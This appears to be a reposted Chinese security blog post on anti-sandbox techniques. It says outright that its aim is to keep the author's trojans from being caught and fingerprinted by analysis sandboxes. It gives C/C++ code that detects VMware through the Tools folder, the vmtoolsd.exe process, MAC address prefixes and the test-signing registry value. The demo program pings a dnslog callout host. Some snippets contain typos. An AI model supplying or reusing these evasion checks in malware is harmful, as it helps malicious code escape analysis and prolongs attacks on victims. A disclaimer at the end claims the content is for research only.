前言
研究过免杀的朋友们一定会碰到过自己的🐎今天还能用,明天就被秒的情况。这种情况大多数是被上传到沙箱然后被沙箱检测和分析发现是🐎,进而记录特征让咱们花好几天写的🐎直接废了。为了提高🐎的存活周期,咱们就需要抗沙箱这门技术。
未加抗沙箱
首先,作为演示我先写一个pingdnslog的程序,然后咱们加上一些抗沙箱手段来展示效果。
代码
int main()
{
system("ping e22799d2.dnslog.biz");
}
这里没加任何反沙箱手段,程序运行。
检测文件夹
在vm虚拟机上安装了“vmware tools”就会生成对应名称的文件夹,路径:C:\Program Files\VMware\VMware Tools
,这样就可以在代码上加上一个判断。同理我们也可以加个同目录检测,检测当前目录下有没有某一个文件夹或者文件,如若没有就不运行程序。
代码
if (PathIsDirectory(L"C:\Program Files\VMware\VMware Tools") == 0)
{
return flase;
}
else
{
return TRUE;
}
}
这里检测到是沙箱便不在运行程序了。
检测进程
虚拟机运行会有vmtoolsd.exe这个进程,下面代码是检测进程中是否有vmtoolsd.exe。同理我们可以检测别的进程比如检测某个软件是否在运行,如果没运行程序就不运行。
代码
PROCESSENTRY32 pe32 = { sizeof(PROCESSENTRY32) };
HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
if (hProcessSnap == INVALID_HANDLE_VALUE)
{
return false;
}
while (Process32Next(hProcessSnap,&pe32))
{
if (wcscmp(pe32.szExeFile,L"vmtoolsd.exe") == 0)
{
return true;
}
}
CloseHandle(hProcessSnap);
return false;
检测mac地址
由于vmware默认的mac地址是00开头的所以我们可以利用这个来检测是不是在虚拟机上运行,来判断是否运行程序。
代码
void GetMac(byte* mac)
{
PIP_ADAPTER_INFO pIpAdapterInfo = new IP_ADAPTER_INFO();
unsigned long stSize = sizeof(IP_ADAPTER_INFO);
int nRet = GetAdaptersInfo(pIpAdapterInfo, &stSize);
if (nRet == ERROR_BUFFER_OVERFLOW)
{
delete pIpAdapterInfo;
pIpAdapterInfo = (PIP_ADAPTER_INFO)new BYTE[stSize];
nRet = GetAdaptersInfo(pIpAdapterInfo, &stSize);
}
if (nRet == ERROR_SUCCESS)
{
while (pIpAdapterInfo)
{
memcpy(mac, pIpAdapterInfo->Address, 8);
break;
}
}
if (pIpAdapterInfo)
{
delete pIpAdapterInfo;
}
}
BOOL VM()
{
byte mac[8] = { 0 };
GetMac(mac);
if (mac[0] == 0x00 && mac[1] == 0x05 && mac[2] == 0x69)
{
return TRUE;
}
else if (mac[0] == 0x00 && mac[1] == 0x0c && mac[2] == 0x29)
{
return TRUE;
}
else if (mac[0] == 0x00 && mac[1] == 0x50 && mac[2] == 0x56)
{
return TRUE;
}
else
{
return FALSE;
}
}
检测是否开启测试模式
在看分析的时候偶然发现截图里面显示系统为测试模式(不清楚是什么的建议百度一下windows测试模式这里不做赘述),便想通过检测是否是测试模式来进行抗沙箱。
代码
HKEY hKey;
DWORD testModeValue;
LPCWSTR regPath = L"SYSTEM\CurrentControlSet\Control\CI\Testing";
LPCWSTR regValue = L"TestSigning";
if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, regPath, 0, KEY_READ, &hKey) == ERROR_SUCCESS) {
DWORD dwType;
DWORD dwSize = sizeof(DWORD);
if (RegQueryValueExW(hKey, regValue, NULL, &dwType, (LPBYTE)&testModeValue, &dwSize) == ERROR_SUCCESS) {
RegCloseKey(hKey);
if (testModeValue == 1) {
return false;
}
else
return true;
}
RegCloseKey(hKey);
}
end
目前就先写这些,等我过段时间再给大家分享一些手段(又双叒叕挖坑了),毕竟知识得沉淀,我可不想拿些几年前能用的方法来糊弄大家(还不如我直接开个直播间然后咬打火机),最后祝大家五一快乐玩的开心。
原文始发于微信公众号(FTC安全):抗沙箱方式列举
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论